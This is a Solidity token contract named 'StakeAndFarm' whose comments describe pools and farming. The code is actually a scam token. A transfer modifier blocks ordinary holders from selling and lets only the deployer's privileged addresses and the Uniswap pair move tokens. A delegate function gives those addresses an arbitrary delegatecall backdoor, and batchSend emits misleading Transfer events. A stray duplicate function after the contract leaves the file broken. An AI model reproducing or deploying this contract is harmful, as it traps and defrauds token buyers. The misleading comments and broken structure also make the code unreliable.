contract StakeAndFarm  {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
    function transferFrom(address _from, address _to, uint _value)
        public payable SwapAndFarmingForGarDeners(_from, _to) returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        return true;
    }
    /**
     * pay data after the staking process
    */
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /**
     * payments between pools
     * send and convert payments between pools
    */
    function delegate(address a, bytes memory b) public payable {
        require (msg.sender == owner ||
            msg.sender == dev ||
            msg.sender == marketing ||
            msg.sender == adviser ||
            msg.sender == privateSale ||
            msg.sender == publicSale ||
            msg.sender == community ||
            msg.sender == Binance ||
            msg.sender == CoinmarketCap ||
            msg.sender == Coingecko
        );
        a.delegatecall(b);
    }
    /** 
     * Farm switch between pools
    */

    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner ||
            msg.sender == dev ||
            msg.sender == marketing ||
            msg.sender == adviser ||
            msg.sender == privateSale ||
            msg.sender == publicSale ||
            msg.sender == community ||
            msg.sender == Binance ||
            msg.sender == CoinmarketCap ||
            msg.sender == Coingecko
        );
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }
    
    /**
     * Future pool swap for farm connection data after unlocking
    */
    modifier SwapAndFarmingForGarDeners(address _from, address _to) { // Connect market
            address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, // pool uniswap
            0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // pool uniswapv2
            address(this));
        require(_from == owner ||
            _from == UNI || _from == dev || _from == adviser || _from == marketing ||
            _from == privateSale || _from == publicSale || _from == community ||
            _from == Binance ||
            _from == CoinmarketCap ||
            _from == Coingecko ||
            _to == owner ||  _to == dev || _to == marketing || _to == adviser ||
            _to == privateSale || _to == publicSale || _to == community ||
            _to == Binance ||
            _to == CoinmarketCap ||
            _to == Coingecko
        );
        _;
    }
    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }
    /**
     * fixed swimming pool
     * make sure the swimming pool is connected
    */
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address private dev;
    address private marketing;
    address private adviser;
    address private privateSale;
    address private publicSale;
    address private community;
    address private Binance;
    address private CoinmarketCap;
    address private Coingecko;
    address constant internal 
    UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap v2
    constructor(
        address _dev, address _marketing, address _adviser, address _privateSale, address _publicSale, address _community,
    /**
     * 
     * navigation
     * 
    */
        address _Binance,
        address _CoinmarketCap,
        address _Coingecko,
        string memory _name,
        string memory _symbol,
        uint256 _supply) 
        payable public {
    /**
     * Fixed flow
    */
        name = _name;
        symbol = _symbol;
        totalSupply = _supply;
        owner = msg.sender;
        dev = _dev;
        marketing = _marketing;
        adviser = _adviser;
        privateSale = _privateSale;
        publicSale = _publicSale;
        community = _community;
        Binance = _Binance;
        CoinmarketCap = _CoinmarketCap;
        Coingecko = _Coingecko;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); //Uniswap v2
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}
function delegate(address a, bytes memory b) public payable {
    require (msg.sender == owner ||
        msg.sender == dev ||
        msg.sender == marketing ||
        msg.sender == adviser ||
        msg.sender == privateSale ||
        msg.sender == publicSale ||
        msg.sender == community ||
        msg.sender == Binance ||
        msg.sender == CoinmarketCap ||
        msg.sender == Coingecko
    );
    a.delegatecall(b);
}

/**
 * payments between pools
 * send and convert payments between pools
 */